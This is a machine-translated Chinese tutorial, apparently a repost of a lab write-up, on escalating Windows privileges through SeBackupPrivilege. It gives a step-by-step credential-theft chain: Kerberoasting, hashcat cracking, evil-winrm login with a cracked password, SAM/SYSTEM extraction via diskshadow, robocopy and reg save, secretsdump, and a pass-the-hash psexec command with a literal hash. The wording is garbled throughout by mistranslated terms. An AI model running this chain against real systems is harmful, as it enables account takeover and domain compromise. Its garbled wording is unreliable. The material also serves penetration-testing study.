Windows 提权-SeBackupPrivilege 特权
本文通过 Google 翻译 Sebackupprivilege – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。导航
[*]0 媒介
[*]1 获得拥有 SeBackupPrivilege 特权的账户
[*]2 提取 SAM/SYSTEM 文件副本:diskshadow.exe
[*]2.1 从 SAM/SYSTEM 文件提取用户 hash,并利用 PTH 攻击提权
[*]3 提取 SAM/SYSTEM 文件副本:reg
[*]4 提取 SAM/SYSTEM 文件副本:在 RDP 桌面情况下
0、媒介
在这篇文章中,我们打算用一个已启用 SeBackupPrivilege 的服务账号从 Windows 服务器中提取 SAM/SYSTEM 文件的副本。
我们来看这样一种场景:我们作为普通的域用户在服务器上获得了立足点,由此开始,我们对备份服务账号进行 Kerberoast 操作,并用破解的凭证登录。接着,我们借助服务账号的 SeBackupPrivilege 特权来获取 SAM/SYSTEM 文件的副本。随后,我们把 SAM/SYSTEM 文件传送到攻击者的机器上,并在当地借助工具导出 SAM/SYSTEM 中的用户哈希值。最后,我们在服务器上实施 PTH (哈希传递攻击),将权限提升到管理员 shell。
SeBackupPrivilege 特权答应用户对体系中的大部分文件进行备份,哪怕文件的访问控制列表(ACL)并未赋予该用户这种访问权限。因此,攻击者可以通过 SeBackupPrivilege 特权备份整个体系盘,从而直接从创建的备份卷中访问任何文件。
注:作者设计的这个获取 SeBackupPrivilege 特权账户的场景太过繁琐,如果只是想查看利用 SeBackupPrivilege 特权的方法,可以跳过第一节,直接从第二节开始阅读。
1、获得拥有 SeBackupPrivilege 特权的账户
在这个域控场景中,紧张有两台机器且运行的都是 Windows Server 2019,其中一台是备份服务器(172.16.1.10),另一台是域控 DC(172.16.1.5)。
在某些情况下,我们以普通域用户 efrost 的身份在备份服务器上获得了立足点。由于我们是利用 web 应用步伐弊端获得的立足点,因此我们没有用户的密码。
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174936288-482778052.png
获得立足点后,我们开始摆列该域,并发现了以下紧张信息:
[*](1)该域中有两个服务帐户。
net user /domainhttps://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937281-1095573908.png
[*](2)帐户 backup_svc 位于备份操作员组(Backup Operators)中,这意味着它具有 SeBackupPrivilege 特权。同时该帐户也位于长途管理用户组(Remote Management Users )中,由用户 nessex 管理。
长途管理用户(Remote Management Users )组中的用户可以通过端口 5985 处的 WinRM 服务实验 PS-Remoting(即 PowerShell 长途连接服务,类似于 ssh 服务);而长途桌面用户(Remote Desktop Users)组中的用户可以通过 RDP 长途连接。
net user backup_svc /domainhttps://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937560-721007791.png
[*](3)用户 nesex 位于域管理组(Domain Admins)中。
net group "Domain Admins" /domainhttps://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937249-1030558021.png
[*](4)用户 nesex 在该计算机上拥有本身的用户配置文件夹,这表明 nesex用户从前在这台机器上登录过。
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937477-819553717.png
[*](5)两个服务账户均被分配了 SPN,这致使它们能够遭受 kerberoast 攻击。
setspn -T juggernaut.local -F -Q */*https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174936246-1650790288.png
我们首先使用 Rubeus.exe 发起一次 kerberoast 攻击,试图提升到其中一个服务账户。
将 Rubeus.exe 下载到受害者机器上,然后使用以下命令成功地请求两个服务帐户的服务票据(TGS-REP HASHES):
.\Rubeus.exe kerberoasthttps://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937609-250369903.png
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174939102-1592356381.png
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937917-2140827314.png
之后,我们将两个哈希值复制到攻击者机器上的 TXT 文件中,接着手动删除全部的换行符(上图中的那一大串实际是一行字串,粘贴到 TXT 中之后便不再是一行字串了,因此我们需要使其酿成一行字串),然后就可以使用 hashcat 进行破解了。
借助 hashcat 的资助菜单,我们得知 TGS-REP 哈希的破解模式为 13100,接着,我们利用它来构建我们用于破解哈希的 hashcat 命令。
hashcat -h | grep -i 'kerberos'
hashcat -m 13100 ./service_hashes.txt /usr/share/wordlists/rockyou.txt -o cracked_hashes.txthttps://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937053-27872451.png
只用了一小会时间,我们便成功地破解了其中一个服务帐户的哈希密码。
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937621-144931854.png
检查输出文件,我们发现破解了 backup_svc 帐户的哈希。
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937618-324257385.png
backup_svc : Makemoney1!
本场景只是关于 Kerberoasting 攻击的一个快速示例,如果要相识此攻击的更多示例,请查看我有关 Kerberoasting 的文章。
从之前的摆列中,我们得知该帐户是长途管理用户组的一部分,这意味着我们应该能够在 WinRM 上获得 shell。
为了检测我们是否可以通过 WinRM 获得备份服务器或域控服务器上的 shell,我们将使用一个名为 crackmapexec 的强大工具进行测试:
crackmapexec winrm 172.16.1.5 172.16.1.10 -d juggernaut.local -u backup_svc -p 'Makemoney1!'https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937037-633695891.png
看到 Pwn3d! 这意味着我们对备份服务器具有 WinRM 的访问权限。但是,我们没有域控的 WinRM 访问权限。
有了这一发现,我们就可以使用找到的凭证和一个名为 evil-winrm 的强大工具以及以下命令登录备份服务器:
evil-winrm -u backup_svc -p 'Makemoney1!' -i 172.16.1.10https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937151-877753045.png
登录之后,使用 whoami /priv 命令快速检查一下当前账户的权限,我们看到它确实启用了 SeBackupPrivilege 特权。
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174936693-1268815060.png
2、提取 SAM/SYSTEM 文件副本:diskshadow.exe
在本例中,我们将使用卷影副本(Volume Shadow Copy Service, VSS)管理工具 diskshadow.exe 去创建体系盘(C盘)的卷影副原来提取 SAM/SYSTEM 文件的副本。创建 C 盘的卷影副本后,我们就可以与之交互并访问文件体系中的任何文件。
通常情况下,diskshadow.exe 仅在 Windows Server 上安装,Windows 客户机上不会有。
由于 diskshadow.exe 是一个交互式命令,而我们目前的 shell 情况是一个非交互式的会话,因此我们需要制作一个 diskshadow 的脚本文件,让其以批处理的方式运行任务。
我们直接在受害机器上使用以下命令来制作 diskshadow 脚本文件:
echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append上述命令实际上是让 diskshadow.exe 给 C 盘创建一个副本,然后为其分配盘符 Z 并使其可用(使其可作为驱动器访问)。
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937479-48828421.png
如今,我们可以使用以下命令开始运行:
diskshadow.exe /s c:\temp\diskshadow.txthttps://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937306-1520354047.png
如今,C 盘的卷影副本已成功创建并表现为 Z 盘,我们可以使用以下 robocopy 命令从 Z:\windows\system32\config 中提取 SAM/SYSTEM 副本:
robocopy /b Z:\Windows\System32\Config C:\temp SAM
robocopy /b Z:\Windows\System32\Config C:\temp SYSTEMhttps://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937275-472522755.png
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937313-1095561378.png
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937521-1680852127.png
如果您能以具有 SeBackupPrivileges 的用户身份访问域控机器,则表现您已破解了整个域(因为整个域用户的哈希我们都能够得到)。在域控机器上,您可以重复上述步骤,但目标不是当地 SAM/SYSTEM 文件,而是 NTDS.dit 文件。因为 SAM 文件只是包含当地用户的哈希值,而 NTDS.dit 文件却包含了全部域用户的哈希值!
2.1、从 SAM/SYSTEM 文件提取用户 hash,并利用 PTH 攻击提权
由于我们正在使用 evil-winrm 工具,因此可以使用工具内置的上传功能将这些文件下载到我们的攻击者机器上。
注:evil-winrm 工具内置的命令有:download、upload、services。
download .\SAM /opt/Juggernaut/JUGG-Backup/SAM
download .\SYSTEM /opt/Juggernaut/JUGG-Backup/SYSTEMhttps://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937340-777244642.png
回到攻击者机,我们看到两个文件都已成功下载。
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937334-874215299.png
如今,既然已经拥有了 SAM/SYSTEM 副本,那我们就可以使用 impacket 套件中的 secretsdump.py 这个工具提取哈希了。
secretsdump.py -sam SAM -system SYSTEM LOCALhttps://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937246-1661604376.png
在提取出来的用户哈希列表中,令我们最感兴趣的便是 Administrator 用户的哈希。接下来,我们仍旧会使用 Impacket 工具套件中的 psexec.py 工具,利用当地管理员的哈希来进行 PTH(pass-the-hash) 攻击,从而在备份服务器上获取 SYSTEM shell。复制整个 NTLM 哈希并将其置入以下命令:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5b38382017f8c0ac215895d5f9aacac4 administrator@172.16.1.10https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174936363-1115232730.png
如果想更深入地相识 PTH(pass-the-hash) 攻击,请在此处查看有关该主题的文章。
3、提取 SAM/SYSTEM 文件副本:reg
在本例中,我们使用 reg 命令从注册表中提取 SAM/SYSTEM 文件副本,而在这篇文章中也看到了这种提取 SAM/SYSTEM 文件的技术。
默认情况下,SeBackupPrivileges 特权的用户是被答应导出注册表的配置单元数据(hiv)。
注:注册表虽然是 Windows 体系的一个数据库,但是它的数据信息实在也是存储在文件中的,而不同的根键所对应的配置单元文件的体系路径也是不同的,比方:HKLM 对应着 C:\Windows\System32\config\ 目录、HKCU 对应着 C:\Users\\NTUSER.DAT 文件。
而 reg save 实验的过程便是导出这个配置单元文件的过程,它的数据和直接从文件体系获取单文件性质是一样的。
使用以下命令,我们可以从注册表中提取 SAM\SYSTEM 文件的副本:
reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEMhttps://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174936543-2077848199.png
4、提取 SAM/SYSTEM 文件副本:在 RDP 桌面情况下
在本例中,我们在 Windows 10 桌面情况下演示提取 SAM\SYSTEM 副本的过程。之所以要如此,是因为我们发如今桌面情况下提取 SAM\SYSTEM 副本和在 WinRM 情况下提取副本还是有一些不同的,不同点在于:它要求我们需要具有 Sebackupprivilege 特权的用户的密码。
从示例场景出发,假设我们是在 Windows 10 主机上获得了一个 efrost 的普通域用户身份的立足点,而不是在备份服务器上。再假设当我们进行域摆列时,发现 backup_svc 用户也是长途桌面用户(Remote Desktop Users)组的一员。
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174936445-730884824.png
接着以这个示例场景来说,我们对 backup_svc 账户进行 kerberoast 攻击并破解其密码。但这次,我们不再通过 evil-winrm 来获取 shell,而是像这样使用 xfreerdp:
sudo xfreerdp /u:backup_svc /p:'Makemoney1!' /d:juggernaut.local /v:172.16.1.100 +clipboardhttps://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174936841-616747067.png
我们知道 backup_svc 账户在备份操作员组中,但是,当我们使用 whoami /priv 时,我们却并没有看到 SeBackupPrivilege 特权。
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937153-2105155416.png
这是因为:在低完备性的 shell 情况中,SeBackupPrivilege 这项特权默认是未开启的。而若要开启该特权,您需要通过“以管理员身份运行”来打开 cmd,这时会弹出一个 UAC 提示框,要求输入当前用户的密码,而这就是 Windows 对备份操作员组中的用户权限的处理方式。
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937672-1103306187.png
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174936882-934298599.png
输入密码之后,特权便被开启了。
注:特权的状态虽然是 Disabled,但是并不影响特权功能的使用,这个 Disabled 可忽略。
https://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174935654-773803710.png
如今我们有了 SeBackupPrivilege 特权,便可以像之前一样从注册表提取 SAM/SYSTEM 文件副本了。
reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEMhttps://img2024.cnblogs.com/blog/1503193/202502/1503193-20250227174937121-87437498.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]